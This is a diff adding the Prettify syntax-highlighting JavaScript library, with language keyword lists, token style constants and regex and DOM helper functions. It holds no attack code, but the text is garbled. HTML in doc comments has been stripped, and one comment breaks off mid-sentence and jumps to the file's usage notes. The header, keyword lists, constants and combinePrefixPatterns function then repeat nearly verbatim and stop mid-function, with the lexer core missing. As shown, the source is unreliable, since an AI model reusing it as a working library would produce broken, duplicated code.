+ * 'PR_STRING': string,
+ * 'PR_TAG': string,
+ * 'PR_TYPE': string,
+ * 'prettyPrintOne': function (string, string, number|boolean),
+ * 'prettyPrint': function (?function, ?(HTMLElement|HTMLDocument))
+ * }}
+ * @const
+ */
+var PR;
+
+/**
+ * Split {@code prettyPrint} into multiple timeouts so as not to interfere with
+ * UI events.
+ * If set to {@code false}, {@code prettyPrint()} is synchronous.
+ */
+window['PR_SHOULD_USE_CONTINUATION'] = true;
+
+/**
+ * Pretty print a chunk of code.
+ * @param {string} sourceCodeHtml The HTML to pretty print.
+ * @param {string} opt_langExtension The language name to use.
+ * Typically, a filename extension like 'cpp' or 'java'.
+ * @param {number|boolean} opt_numberLines True to number lines,
+ * or the 1-indexed number of the first line in sourceCodeHtml.
+ * @return {string} code as html, but prettier
+ */
+var prettyPrintOne;
+/**
+ * Find all the {@code
} and {@code } tags in the DOM with
+ * {@code class=prettyprint} and prettify them.
+ *
+ * @param {Function} opt_whenDone called when prettifying is done.
+ * @param {HTMLElement|HTMLDocument} opt_root an element or document
+ * containing all the elements to pretty print.
+ * Defaults to {@code document.body}.
+ */
+var prettyPrint;
+
+
+(function () {
+ var win = window;
+ // Keyword lists for various languages.
+ // We use things that coerce to strings to make them compact when minified
+ // and to defeat aggressive optimizers that fold large string constants.
+ var FLOW_CONTROL_KEYWORDS = ["break,continue,do,else,for,if,return,while"];
+ var C_KEYWORDS = [FLOW_CONTROL_KEYWORDS,"auto,case,char,const,default," +
+ "double,enum,extern,float,goto,inline,int,long,register,restrict,short,signed," +
+ "sizeof,static,struct,switch,typedef,union,unsigned,void,volatile"];
+ var COMMON_KEYWORDS = [C_KEYWORDS,"catch,class,delete,false,import," +
+ "new,operator,private,protected,public,this,throw,true,try,typeof"];
+ var CPP_KEYWORDS = [COMMON_KEYWORDS,"alignas,alignof,align_union,asm,axiom,bool," +
+ "concept,concept_map,const_cast,constexpr,decltype,delegate," +
+ "dynamic_cast,explicit,export,friend,generic,late_check," +
+ "mutable,namespace,noexcept,noreturn,nullptr,property,reinterpret_cast,static_assert," +
+ "static_cast,template,typeid,typename,using,virtual,where"];
+ var JAVA_KEYWORDS = [COMMON_KEYWORDS,
+ "abstract,assert,boolean,byte,extends,finally,final,implements,import," +
+ "instanceof,interface,null,native,package,strictfp,super,synchronized," +
+ "throws,transient"];
+ var CSHARP_KEYWORDS = [COMMON_KEYWORDS,
+ "abstract,add,alias,as,ascending,async,await,base,bool,by,byte,checked,decimal,delegate,descending," +
+ "dynamic,event,finally,fixed,foreach,from,get,global,group,implicit,in,interface," +
+ "internal,into,is,join,let,lock,null,object,out,override,orderby,params," +
+ "partial,readonly,ref,remove,sbyte,sealed,select,set,stackalloc,string,select,uint,ulong," +
+ "unchecked,unsafe,ushort,value,var,virtual,where,yield"];
+ var COFFEE_KEYWORDS = "all,and,by,catch,class,else,extends,false,finally," +
+ "for,if,in,is,isnt,loop,new,no,not,null,of,off,on,or,return,super,then," +
+ "throw,true,try,unless,until,when,while,yes";
+ var JSCRIPT_KEYWORDS = [COMMON_KEYWORDS,
+ "abstract,async,await,constructor,debugger,enum,eval,export,function," +
+ "get,implements,instanceof,interface,let,null,set,undefined,var,with," +
+ "yield,Infinity,NaN"];
+ var PERL_KEYWORDS = "caller,delete,die,do,dump,elsif,eval,exit,foreach,for," +
+ "goto,if,import,last,local,my,next,no,our,print,package,redo,require," +
+ "sub,undef,unless,until,use,wantarray,while,BEGIN,END";
+ var PYTHON_KEYWORDS = [FLOW_CONTROL_KEYWORDS, "and,as,assert,class,def,del," +
+ "elif,except,exec,finally,from,global,import,in,is,lambda," +
+ "nonlocal,not,or,pass,print,raise,try,with,yield," +
+ "False,True,None"];
+ var RUBY_KEYWORDS = [FLOW_CONTROL_KEYWORDS, "alias,and,begin,case,class," +
+ "def,defined,elsif,end,ensure,false,in,module,next,nil,not,or,redo," +
+ "rescue,retry,self,super,then,true,undef,unless,until,when,yield," +
+ "BEGIN,END"];
+ var SH_KEYWORDS = [FLOW_CONTROL_KEYWORDS, "case,done,elif,esac,eval,fi," +
+ "function,in,local,set,then,until"];
+ var ALL_KEYWORDS = [
+ CPP_KEYWORDS, CSHARP_KEYWORDS, JAVA_KEYWORDS, JSCRIPT_KEYWORDS,
+ PERL_KEYWORDS, PYTHON_KEYWORDS, RUBY_KEYWORDS, SH_KEYWORDS];
+ var C_TYPES = /^(DIR|FILE|array|vector|(de|priority_)?queue|(forward_)?list|stack|(const_)?(reverse_)?iterator|(unordered_)?(multi)?(set|map)|bitset|u?(int|float)\d*)\b/;
+
+ // token style names. correspond to css classes
+ /**
+ * token style for a string literal
+ * @const
+ */
+ var PR_STRING = 'str';
+ /**
+ * token style for a keyword
+ * @const
+ */
+ var PR_KEYWORD = 'kwd';
+ /**
+ * token style for a comment
+ * @const
+ */
+ var PR_COMMENT = 'com';
+ /**
+ * token style for a type
+ * @const
+ */
+ var PR_TYPE = 'typ';
+ /**
+ * token style for a literal value. e.g. 1, null, true.
+ * @const
+ */
+ var PR_LITERAL = 'lit';
+ /**
+ * token style for a punctuation string.
+ * @const
+ */
+ var PR_PUNCTUATION = 'pun';
+ /**
+ * token style for plain text.
+ * @const
+ */
+ var PR_PLAIN = 'pln';
+
+ /**
+ * token style for an sgml tag.
+ * @const
+ */
+ var PR_TAG = 'tag';
+ /**
+ * token style for a markup declaration such as a DOCTYPE.
+ * @const
+ */
+ var PR_DECLARATION = 'dec';
+ /**
+ * token style for embedded source.
+ * @const
+ */
+ var PR_SOURCE = 'src';
+ /**
+ * token style for an sgml attribute name.
+ * @const
+ */
+ var PR_ATTRIB_NAME = 'atn';
+ /**
+ * token style for an sgml attribute value.
+ * @const
+ */
+ var PR_ATTRIB_VALUE = 'atv';
+
+ /**
+ * A class that indicates a section of markup that is not code, e.g. to allow
+ * embedding of line numbers within code listings.
+ * @const
+ */
+ var PR_NOCODE = 'nocode';
+
+
+
+ /**
+ * A set of tokens that can precede a regular expression literal in
+ * javascript
+ * http://web.archive.org/web/20070717142515/http://www.mozilla.org/js/language/js20/rationale/syntax.html
+ * has the full list, but I've removed ones that might be problematic when
+ * seen in languages that don't support regular expression literals.
+ *
+ *
Specifically, I've removed any keywords that can't precede a regexp
+ * literal in a syntactically legal javascript program, and I've removed the
+ * "in" keyword since it's not a keyword in many languages, and might be used
+ * as a count of inches.
+ *
+ *
The link above does not accurately describe EcmaScript rules since
+ * it fails to distinguish between (a=++/b/i) and (a++/b/i) but it works
+ * very well in practice.
+ *
+ * @private
+ * @const
+ */
+ var REGEXP_PRECEDER_PATTERN = '(?:^^\\.?|[+-]|[!=]=?=?|\\#|%=?|&&?=?|\\(|\\*=?|[+\\-]=|->|\\/=?|::?|<=?|>>?>?=?|,|;|\\?|@|\\[|~|{|\\^\\^?=?|\\|\\|?=?|break|case|continue|delete|do|else|finally|instanceof|return|throw|try|typeof)\\s*';
+
+ // CAVEAT: this does not properly handle the case where a regular
+ // expression immediately follows another since a regular expression may
+ // have flags for case-sensitivity and the like. Having regexp tokens
+ // adjacent is not valid in any language I'm aware of, so I'm punting.
+ // TODO: maybe style special characters inside a regexp as punctuation.
+
+ /**
+ * Given a group of {@link RegExp}s, returns a {@code RegExp} that globally
+ * matches the union of the sets of strings matched by the input RegExp.
+ * Since it matches globally, if the input strings have a start-of-input
+ * anchor (/^.../), it is ignored for the purposes of unioning.
+ * @param {Array.} regexs non multiline, non-global regexs.
+ * @return {RegExp} a global regex.
+ */
+ function combinePrefixPatterns(regexs) {
+ var capturedGroupIndex = 0;
+
+ var needToFoldCase = false;
+ var ignoreCase = false;
+ for (var i = 0, n = regexs.length; i < n; ++i) {
+ var regex = regexs[i];
+ if (regex.ignoreCase) {
+ ignoreCase = true;
+ } else if (/[a-z]/i.test(regex.source.replace(
+ /\\u[0-9a-f]{4}|\\x[0-9a-f]{2}|\\[^ux]/gi, ''))) {
+ needToFoldCase = true;
+ ignoreCase = false;
+ break;
+ }
+ }
+
+ var escapeCharToCodeUnit = {
+ 'b': 8,
+ 't': 9,
+ 'n': 0xa,
+ 'v': 0xb,
+ 'f': 0xc,
+ 'r': 0xd
+ };
+
+ function decodeEscape(charsetPart) {
+ var cc0 = charsetPart.charCodeAt(0);
+ if (cc0 !== 92 /* \\ */) {
+ return cc0;
+ }
+ var c1 = charsetPart.charAt(1);
+ cc0 = escapeCharToCodeUnit[c1];
+ if (cc0) {
+ return cc0;
+ } else if ('0' <= c1 && c1 <= '7') {
+ return parseInt(charsetPart.substring(1), 8);
+ } else if (c1 === 'u' || c1 === 'x') {
+ return parseInt(charsetPart.substring(2), 16);
+ } else {
+ return charsetPart.charCodeAt(1);
+ }
+ }
+
+ function encodeEscape(charCode) {
+ if (charCode < 0x20) {
+ return (charCode < 0x10 ? '\\x0' : '\\x') + charCode.toString(16);
+ }
+ var ch = String.fromCharCode(charCode);
+ return (ch === '\\' || ch === '-' || ch === ']' || ch === '^')
+ ? "\\" + ch : ch;
+ }
+
+ function caseFoldCharset(charSet) {
+ var charsetParts = charSet.substring(1, charSet.length - 1).match(
+ new RegExp(
+ '\\\\u[0-9A-Fa-f]{4}'
+ + '|\\\\x[0-9A-Fa-f]{2}'
+ + '|\\\\[0-3][0-7]{0,2}'
+ + '|\\\\[0-7]{1,2}'
+ + '|\\\\[\\s\\S]'
+ + '|-'
+ + '|[^-\\\\]',
+ 'g'));
+ var ranges = [];
+ var inverse = charsetParts[0] === '^';
+
+ var out = ['['];
+ if (inverse) { out.push('^'); }
+
+ for (var i = inverse ? 1 : 0, n = charsetParts.length; i < n; ++i) {
+ var p = charsetParts[i];
+ if (/\\[bdsw]/i.test(p)) { // Don't muck with named groups.
+ out.push(p);
+ } else {
+ var start = decodeEscape(p);
+ var end;
+ if (i + 2 < n && '-' === charsetParts[i + 1]) {
+ end = decodeEscape(charsetParts[i + 2]);
+ i += 2;
+ } else {
+ end = start;
+ }
+ ranges.push([start, end]);
+ // If the range might intersect letters, then expand it.
+ // This case handling is too simplistic.
+ // It does not deal with non-latin case folding.
+ // It works for latin source code identifiers though.
+ if (!(end < 65 || start > 122)) {
+ if (!(end < 65 || start > 90)) {
+ ranges.push([Math.max(65, start) | 32, Math.min(end, 90) | 32]);
+ }
+ if (!(end < 97 || start > 122)) {
+ ranges.push([Math.max(97, start) & ~32, Math.min(end, 122) & ~32]);
+ }
+ }
+ }
+ }
+
+ // [[1, 10], [3, 4], [8, 12], [14, 14], [16, 16], [17, 17]]
+ // -> [[1, 12], [14, 14], [16, 17]]
+ ranges.sort(function (a, b) { return (a[0] - b[0]) || (b[1] - a[1]); });
+ var consolidatedRanges = [];
+ var lastRange = [];
+ for (var i = 0; i < ranges.length; ++i) {
+ var range = ranges[i];
+ if (range[0] <= lastRange[1] + 1) {
+ lastRange[1] = Math.max(lastRange[1], range[1]);
+ } else {
+ consolidatedRanges.push(lastRange = range);
+ }
+ }
+
+ for (var i = 0; i < consolidatedRanges.length; ++i) {
+ var range = consolidatedRanges[i];
+ out.push(encodeEscape(range[0]));
+ if (range[1] > range[0]) {
+ if (range[1] + 1 > range[0]) { out.push('-'); }
+ out.push(encodeEscape(range[1]));
+ }
+ }
+ out.push(']');
+ return out.join('');
+ }
+
+ function allowAnywhereFoldCaseAndRenumberGroups(regex) {
+ // Split into character sets, escape sequences, punctuation strings
+ // like ('(', '(?:', ')', '^'), and runs of characters that do not
+ // include any of the above.
+ var parts = regex.source.match(
+ new RegExp(
+ '(?:'
+ + '\\[(?:[^\\x5C\\x5D]|\\\\[\\s\\S])*\\]' // a character set
+ + '|\\\\u[A-Fa-f0-9]{4}' // a unicode escape
+ + '|\\\\x[A-Fa-f0-9]{2}' // a hex escape
+ + '|\\\\[0-9]+' // a back-reference or octal escape
+ + '|\\\\[^ux0-9]' // other escape sequence
+ + '|\\(\\?[:!=]' // start of a non-capturing group
+ + '|[\\(\\)\\^]' // start/end of a group, or line start
+ + '|[^\\x5B\\x5C\\(\\)\\^]+' // run of other characters
+ + ')',
+ 'g'));
+ var n = parts.length;
+
+ // Maps captured group numbers to the number they will occupy in
+ // the output or to -1 if that has not been determined, or to
+ // undefined if they need not be capturing in the output.
+ var capturedGroups = [];
+
+ // Walk over and identify back references to build the capturedGroups
+ // mapping.
+ for (var i = 0, groupIndex = 0; i < n; ++i) {
+ var p = parts[i];
+ if (p === '(') {
+ // groups are 1-indexed, so max group index is count of '('
+ ++groupIndex;
+ } else if ('\\' === p.charAt(0)) {
+ var decimalValue = +p.substring(1);
+ if (decimalValue) {
+ if (decimalValue <= groupIndex) {
+ capturedGroups[decimalValue] = -1;
+ } else {
+ // Replace with an unambiguous escape sequence so that
+ // an octal escape sequence does not turn into a backreference
+ // to a capturing group from an earlier regex.
+ parts[i] = encodeEscape(decimalValue);
+ }
+ }
+ }
+ }
+
+ // Renumber groups and reduce capturing groups to non-capturing groups
+ // where possible.
+ for (var i = 1; i < capturedGroups.length; ++i) {
+ if (-1 === capturedGroups[i]) {
+ capturedGroups[i] = ++capturedGroupIndex;
+ }
+ }
+ for (var i = 0, groupIndex = 0; i < n; ++i) {
+ var p = parts[i];
+ if (p === '(') {
+ ++groupIndex;
+ if (!capturedGroups[groupIndex]) {
+ parts[i] = '(?:';
+ }
+ } else if ('\\' === p.charAt(0)) {
+ var decimalValue = +p.substring(1);
+ if (decimalValue && decimalValue <= groupIndex) {
+ parts[i] = '\\' + capturedGroups[decimalValue];
+ }
+ }
+ }
+
+ // Remove any prefix anchors so that the output will match anywhere.
+ // ^^ really does mean an anchored match though.
+ for (var i = 0; i < n; ++i) {
+ if ('^' === parts[i] && '^' !== parts[i + 1]) { parts[i] = ''; }
+ }
+
+ // Expand letters to groups to handle mixing of case-sensitive and
+ // case-insensitive patterns if necessary.
+ if (regex.ignoreCase && needToFoldCase) {
+ for (var i = 0; i < n; ++i) {
+ var p = parts[i];
+ var ch0 = p.charAt(0);
+ if (p.length >= 2 && ch0 === '[') {
+ parts[i] = caseFoldCharset(p);
+ } else if (ch0 !== '\\') {
+ // TODO: handle letters in numeric escapes.
+ parts[i] = p.replace(
+ /[a-zA-Z]/g,
+ function (ch) {
+ var cc = ch.charCodeAt(0);
+ return '[' + String.fromCharCode(cc & ~32, cc | 32) + ']';
+ });
+ }
+ }
+ }
+
+ return parts.join('');
+ }
+
+ var rewritten = [];
+ for (var i = 0, n = regexs.length; i < n; ++i) {
+ var regex = regexs[i];
+ if (regex.global || regex.multiline) { throw new Error('' + regex); }
+ rewritten.push(
+ '(?:' + allowAnywhereFoldCaseAndRenumberGroups(regex) + ')');
+ }
+
+ return new RegExp(rewritten.join('|'), ignoreCase ? 'gi' : 'g');
+ }
+
+ /**
+ * Split markup into a string of source code and an array mapping ranges in
+ * that string to the text nodes in which they appear.
+ *
+ *
+ * where #1 is a reference to the {@code "print "} text node above, and so
+ * on for the other text nodes.
+ *
+ *
+ *
+ * The {@code} spans array is an array of pairs. Even elements are the start
+ * indices of substrings, and odd elements are the text nodes (or BR elements)
+ * that contain the text for those substrings.
+ * Substrings continue until the next index or the end of the source.
+ *
+ *
+ * @param {Node} node an HTML DOM subtree containing source-code.
+ * @param {boolean|number} isPreformatted truthy if white-space in
+ * text nodes should be considered significant.
+ * @return {SourceSpansT} source code and the nodes in which they occur.
+ */
+ function extractSourceSpans(node, isPreformatted) {
+ var nocode = /(?:^|\s)nocode(?:\s|$)/;
+
+ var chunks = [];
+ var length = 0;
+ var spans = [];
+ var k = 0;
+
+ function walk(node) {
+ var type = node.nodeType;
+ if (type == 1) { // Element
+ if (nocode.test(node.className)) { return; }
+ for (var child = node.firstChild; child; child = child.nextSibling) {
+ walk(child);
+ }
+ var nodeName = node.nodeName.toLowerCase();
+ if ('br' === nodeName || 'li' === nodeName) {
+ chunks[k] = '\n';
+ spans[k << 1] = length++;
+ spans[(k++ << 1) | 1] = node;
+ }
+ } else if (type == 3 || type == 4) { // Text
+ var text = node.nodeValue;
+ if (text.length) {
+ if (!isPreformatted) {
+ text = text.replace(/[ \t\r\n]+/g, ' ');
+ } else {
+ text = text.replace(/\r\n?/g, '\n'); // Normalize newlines.
+ }
+ // TODO: handle tabs here?
+ chunks[k] = text;
+ spans[k << 1] = length;
+ length += text.length;
+ spans[(k++ << 1) | 1] = node;
+ }
+ }
+ }
+
+ walk(node);
+
+ return {
+ sourceCode: chunks.join('').replace(/\n$/, ''),
+ spans: spans
+ };
+ }
+
+ /**
+ * Apply the given language handler to sourceCode and add the resulting
+ * decorations to out.
+ * @param {!Element} sourceNode
+ * @param {number} basePos the index of sourceCode within the chunk of source
+ * whose decorations are already present on out.
+ * @param {string} sourceCode
+ * @param {function(JobT)} langHandler
+ * @param {DecorationsT} out
+ */
+ function appendDecorations(
+ sourceNode, basePos, sourceCode, langHandler, out) {
+ if (!sourceCode) { return; }
+ /** @type {JobT} */
+ var job = {
+ sourceNode: sourceNode,
+ pre: 1,
+ langExtension: null,
+ numberLines: null,
+ sourceCode: sourceCode,
+ spans: null,
+ basePos: basePos,
+ decorations: null
+ };
+ langHandler(job);
+ out.push.apply(out, job.decorations);
+ }
+
+ var notWs = /\S/;
+
+ /**
+ * Given an element, if it contains only one child element and any text nodes
+ * it contains contain only space characters, return the sole child element.
+ * Otherwise returns undefined.
+ *
+ * This is meant to return the CODE element in {@code
} when
+ * there is a single child element that contains all the non-space textual
+ * content, but not to return anything where there are multiple child elements
+ * as in {@code
......
} or when there
+ * is textual content.
+ */
+ function childContentWrapper(element) {
+ var wrapper = undefined;
+ for (var c = element.firstChild; c; c = c.nextSibling) {
+ var type = c.nodeType;
+ wrapper = (type === 1) // Element Node
+ ? (wrapper ? element : c)
+ : (type === 3) // Text Node
+ ? (notWs.test(c.nodeValue) ? element : wrapper)
+ : wrapper;
+ }
+ return wrapper === element ? undefined : wrapper;
+ }
+
+ /** Given triples of [style, pattern, context] returns a lexing function,
+ * The lexing function interprets the patterns to find token boundaries and
+ * returns a decoration list of the form
+ * [index_0, style_0, index_1, style_1, ..., index_n, style_n]
+ * where index_n is an index into the sourceCode, and style_n is a style
+ * constant like PR_PLAIN. index_n-1 <= index_n, and style_n-1 applies to
+ * all characters in sourceCode[index_n-1:index_n].
+ *
+ * The stylePatterns is a list whose elements have the form
+ * [style : string, pattern : RegExp, DEPRECATED, shortcut : string].
+ *
+ * Style is a style constant like PR_PLAIN, or can be a string of the
+ * form 'lang-FOO', where FOO is a language extension describing the
+ * language of the portion of the token in $1 after pattern executes.
+ * E.g., if style is 'lang-lisp', and group 1 contains the text
+ * '(hello (world))', then that portion of the token will be passed to the
+ * registered lisp handler for formatting.
+ * The text before and after group 1 will be restyled using this decorator
+ * so decorators should take care that this doesn't result in infinite
+ * recursion. For example, the HTML lexer rule for SCRIPT elements looks
+ * something like ['lang-js', /<[s]cript>(.+?)<\/script>/]. This may match
+ * '}
+ *
define style rules. See the example page for examples.
+ *
mark the {@code
} and {@code } tags in your source with
+ * {@code class=prettyprint.}
+ * You can also use the (html deprecated) {@code } tag, but the pretty
+ * printer needs to do more substantial DOM manipulations to support that, so
+ * some css styles may not be preserved.
+ *
+ * That's it. I wanted to keep the API as simple as possible, so there's no
+ * need to specify which language the code is in, but if you wish, you can add
+ * another class to the {@code
} or {@code } element to specify the
+ * language, as in {@code
}. Any class that
+ * starts with "lang-" followed by a file extension, specifies the file type.
+ * See the "lang-*.js" files in this directory for code that implements
+ * per-language file handlers.
+ *
+ * Change log:
+ * cbeust, 2006/08/22
+ *
+ * Java annotations (start with "@") are now captured as literals ("lit")
+ *
+ * @requires console
+ */
+
+ // JSLint declarations
+ /*global console, document, navigator, setTimeout, window, define */
+
+
+ var HACK_TO_FIX_JS_INCLUDE_PL;
+
+ /**
+ * {@type !{
+ * 'createSimpleLexer': function (Array, Array): (function (JobT)),
+ * 'registerLangHandler': function (function (JobT), Array.),
+ * 'PR_ATTRIB_NAME': string,
+ * 'PR_ATTRIB_NAME': string,
+ * 'PR_ATTRIB_VALUE': string,
+ * 'PR_COMMENT': string,
+ * 'PR_DECLARATION': string,
+ * 'PR_KEYWORD': string,
+ * 'PR_LITERAL': string,
+ * 'PR_NOCODE': string,
+ * 'PR_PLAIN': string,
+ * 'PR_PUNCTUATION': string,
+ * 'PR_SOURCE': string,
+ * 'PR_STRING': string,
+ * 'PR_TAG': string,
+ * 'PR_TYPE': string,
+ * 'prettyPrintOne': function (string, string, number|boolean),
+ * 'prettyPrint': function (?function, ?(HTMLElement|HTMLDocument))
+ * }}
+ * @const
+ */
+ var PR;
+
+ /**
+ * Split {@code prettyPrint} into multiple timeouts so as not to interfere with
+ * UI events.
+ * If set to {@code false}, {@code prettyPrint()} is synchronous.
+ */
+ window['PR_SHOULD_USE_CONTINUATION'] = true;
+
+ /**
+ * Pretty print a chunk of code.
+ * @param {string} sourceCodeHtml The HTML to pretty print.
+ * @param {string} opt_langExtension The language name to use.
+ * Typically, a filename extension like 'cpp' or 'java'.
+ * @param {number|boolean} opt_numberLines True to number lines,
+ * or the 1-indexed number of the first line in sourceCodeHtml.
+ * @return {string} code as html, but prettier
+ */
+ var prettyPrintOne;
+ /**
+ * Find all the {@code
} and {@code } tags in the DOM with
+ * {@code class=prettyprint} and prettify them.
+ *
+ * @param {Function} opt_whenDone called when prettifying is done.
+ * @param {HTMLElement|HTMLDocument} opt_root an element or document
+ * containing all the elements to pretty print.
+ * Defaults to {@code document.body}.
+ */
+ var prettyPrint;
+
+
+ (function () {
+ var win = window;
+ // Keyword lists for various languages.
+ // We use things that coerce to strings to make them compact when minified
+ // and to defeat aggressive optimizers that fold large string constants.
+ var FLOW_CONTROL_KEYWORDS = ["break,continue,do,else,for,if,return,while"];
+ var C_KEYWORDS = [FLOW_CONTROL_KEYWORDS,"auto,case,char,const,default," +
+ "double,enum,extern,float,goto,inline,int,long,register,restrict,short,signed," +
+ "sizeof,static,struct,switch,typedef,union,unsigned,void,volatile"];
+ var COMMON_KEYWORDS = [C_KEYWORDS,"catch,class,delete,false,import," +
+ "new,operator,private,protected,public,this,throw,true,try,typeof"];
+ var CPP_KEYWORDS = [COMMON_KEYWORDS,"alignas,alignof,align_union,asm,axiom,bool," +
+ "concept,concept_map,const_cast,constexpr,decltype,delegate," +
+ "dynamic_cast,explicit,export,friend,generic,late_check," +
+ "mutable,namespace,noexcept,noreturn,nullptr,property,reinterpret_cast,static_assert," +
+ "static_cast,template,typeid,typename,using,virtual,where"];
+ var JAVA_KEYWORDS = [COMMON_KEYWORDS,
+ "abstract,assert,boolean,byte,extends,finally,final,implements,import," +
+ "instanceof,interface,null,native,package,strictfp,super,synchronized," +
+ "throws,transient"];
+ var CSHARP_KEYWORDS = [COMMON_KEYWORDS,
+ "abstract,add,alias,as,ascending,async,await,base,bool,by,byte,checked,decimal,delegate,descending," +
+ "dynamic,event,finally,fixed,foreach,from,get,global,group,implicit,in,interface," +
+ "internal,into,is,join,let,lock,null,object,out,override,orderby,params," +
+ "partial,readonly,ref,remove,sbyte,sealed,select,set,stackalloc,string,select,uint,ulong," +
+ "unchecked,unsafe,ushort,value,var,virtual,where,yield"];
+ var COFFEE_KEYWORDS = "all,and,by,catch,class,else,extends,false,finally," +
+ "for,if,in,is,isnt,loop,new,no,not,null,of,off,on,or,return,super,then," +
+ "throw,true,try,unless,until,when,while,yes";
+ var JSCRIPT_KEYWORDS = [COMMON_KEYWORDS,
+ "abstract,async,await,constructor,debugger,enum,eval,export,function," +
+ "get,implements,instanceof,interface,let,null,set,undefined,var,with," +
+ "yield,Infinity,NaN"];
+ var PERL_KEYWORDS = "caller,delete,die,do,dump,elsif,eval,exit,foreach,for," +
+ "goto,if,import,last,local,my,next,no,our,print,package,redo,require," +
+ "sub,undef,unless,until,use,wantarray,while,BEGIN,END";
+ var PYTHON_KEYWORDS = [FLOW_CONTROL_KEYWORDS, "and,as,assert,class,def,del," +
+ "elif,except,exec,finally,from,global,import,in,is,lambda," +
+ "nonlocal,not,or,pass,print,raise,try,with,yield," +
+ "False,True,None"];
+ var RUBY_KEYWORDS = [FLOW_CONTROL_KEYWORDS, "alias,and,begin,case,class," +
+ "def,defined,elsif,end,ensure,false,in,module,next,nil,not,or,redo," +
+ "rescue,retry,self,super,then,true,undef,unless,until,when,yield," +
+ "BEGIN,END"];
+ var SH_KEYWORDS = [FLOW_CONTROL_KEYWORDS, "case,done,elif,esac,eval,fi," +
+ "function,in,local,set,then,until"];
+ var ALL_KEYWORDS = [
+ CPP_KEYWORDS, CSHARP_KEYWORDS, JAVA_KEYWORDS, JSCRIPT_KEYWORDS,
+ PERL_KEYWORDS, PYTHON_KEYWORDS, RUBY_KEYWORDS, SH_KEYWORDS];
+ var C_TYPES = /^(DIR|FILE|array|vector|(de|priority_)?queue|(forward_)?list|stack|(const_)?(reverse_)?iterator|(unordered_)?(multi)?(set|map)|bitset|u?(int|float)\d*)\b/;
+
+ // token style names. correspond to css classes
+ /**
+ * token style for a string literal
+ * @const
+ */
+ var PR_STRING = 'str';
+ /**
+ * token style for a keyword
+ * @const
+ */
+ var PR_KEYWORD = 'kwd';
+ /**
+ * token style for a comment
+ * @const
+ */
+ var PR_COMMENT = 'com';
+ /**
+ * token style for a type
+ * @const
+ */
+ var PR_TYPE = 'typ';
+ /**
+ * token style for a literal value. e.g. 1, null, true.
+ * @const
+ */
+ var PR_LITERAL = 'lit';
+ /**
+ * token style for a punctuation string.
+ * @const
+ */
+ var PR_PUNCTUATION = 'pun';
+ /**
+ * token style for plain text.
+ * @const
+ */
+ var PR_PLAIN = 'pln';
+
+ /**
+ * token style for an sgml tag.
+ * @const
+ */
+ var PR_TAG = 'tag';
+ /**
+ * token style for a markup declaration such as a DOCTYPE.
+ * @const
+ */
+ var PR_DECLARATION = 'dec';
+ /**
+ * token style for embedded source.
+ * @const
+ */
+ var PR_SOURCE = 'src';
+ /**
+ * token style for an sgml attribute name.
+ * @const
+ */
+ var PR_ATTRIB_NAME = 'atn';
+ /**
+ * token style for an sgml attribute value.
+ * @const
+ */
+ var PR_ATTRIB_VALUE = 'atv';
+
+ /**
+ * A class that indicates a section of markup that is not code, e.g. to allow
+ * embedding of line numbers within code listings.
+ * @const
+ */
+ var PR_NOCODE = 'nocode';
+
+
+
+ /**
+ * A set of tokens that can precede a regular expression literal in
+ * javascript
+ * http://web.archive.org/web/20070717142515/http://www.mozilla.org/js/language/js20/rationale/syntax.html
+ * has the full list, but I've removed ones that might be problematic when
+ * seen in languages that don't support regular expression literals.
+ *
+ *
Specifically, I've removed any keywords that can't precede a regexp
+ * literal in a syntactically legal javascript program, and I've removed the
+ * "in" keyword since it's not a keyword in many languages, and might be used
+ * as a count of inches.
+ *
+ *
The link above does not accurately describe EcmaScript rules since
+ * it fails to distinguish between (a=++/b/i) and (a++/b/i) but it works
+ * very well in practice.
+ *
+ * @private
+ * @const
+ */
+ var REGEXP_PRECEDER_PATTERN = '(?:^^\\.?|[+-]|[!=]=?=?|\\#|%=?|&&?=?|\\(|\\*=?|[+\\-]=|->|\\/=?|::?|<=?|>>?>?=?|,|;|\\?|@|\\[|~|{|\\^\\^?=?|\\|\\|?=?|break|case|continue|delete|do|else|finally|instanceof|return|throw|try|typeof)\\s*';
+
+ // CAVEAT: this does not properly handle the case where a regular
+ // expression immediately follows another since a regular expression may
+ // have flags for case-sensitivity and the like. Having regexp tokens
+ // adjacent is not valid in any language I'm aware of, so I'm punting.
+ // TODO: maybe style special characters inside a regexp as punctuation.
+
+ /**
+ * Given a group of {@link RegExp}s, returns a {@code RegExp} that globally
+ * matches the union of the sets of strings matched by the input RegExp.
+ * Since it matches globally, if the input strings have a start-of-input
+ * anchor (/^.../), it is ignored for the purposes of unioning.
+ * @param {Array.} regexs non multiline, non-global regexs.
+ * @return {RegExp} a global regex.
+ */
+ function combinePrefixPatterns(regexs) {
+ var capturedGroupIndex = 0;
+
+ var needToFoldCase = false;
+ var ignoreCase = false;
+ for (var i = 0, n = regexs.length; i < n; ++i) {
+ var regex = regexs[i];
+ if (regex.ignoreCase) {
+ ignoreCase = true;
+ } else if (/[a-z]/i.test(regex.source.replace(
+ /\\u[0-9a-f]{4}|\\x[0-9a-f]{2}|\\[^ux]/gi, ''))) {
+ needToFoldCase = true;
+ ignoreCase = false;
+ break;
+ }
+ }
+
+ var escapeCharToCodeUnit = {
+ 'b': 8,
+ 't': 9,
+ 'n': 0xa,
+ 'v': 0xb,
+ 'f': 0xc,
+ 'r': 0xd
+ };
+
+ function decodeEscape(charsetPart) {
+ var cc0 = charsetPart.charCodeAt(0);
+ if (cc0 !== 92 /* \\ */) {
+ return cc0;
+ }
+ var c1 = charsetPart.charAt(1);
+ cc0 = escapeCharToCodeUnit[c1];
+ if (cc0) {
+ return cc0;
+ } else if ('0' <= c1 && c1 <= '7') {
+ return parseInt(charsetPart.substring(1), 8);
+ } else if (c1 === 'u' || c1 === 'x') {
+ return parseInt(charsetPart.substring(2), 16);
+ } else {
+ return charsetPart.charCodeAt(1);
+ }
+ }
+
+ function encodeEscape(charCode) {
+ if (charCode < 0x20) {
+ return (charCode < 0x10 ? '\\x0' : '\\x') + charCode.toString(16);
+ }
+ var ch = String.fromCharCode(charCode);
+ return (ch === '\\' || ch === '-' || ch === ']' || ch === '^')
+ ? "\\" + ch : ch;
+ }
+
+ function caseFoldCharset(charSet) {
+ var charsetParts = charSet.substring(1, charSet.length - 1).match(
+ new RegExp(
+ '\\\\u[0-9A-Fa-f]{4}'
+ + '|\\\\x[0-9A-Fa-f]{2}'
+ + '|\\\\[0-3][0-7]{0,2}'
+ + '|\\\\[0-7]{1,2}'
+ + '|\\\\[\\s\\S]'
+ + '|-'
+ + '|[^-\\\\]',
+ 'g'));
+ var ranges = [];
+ var inverse = charsetParts[0] === '^';
+
+ var out = ['['];
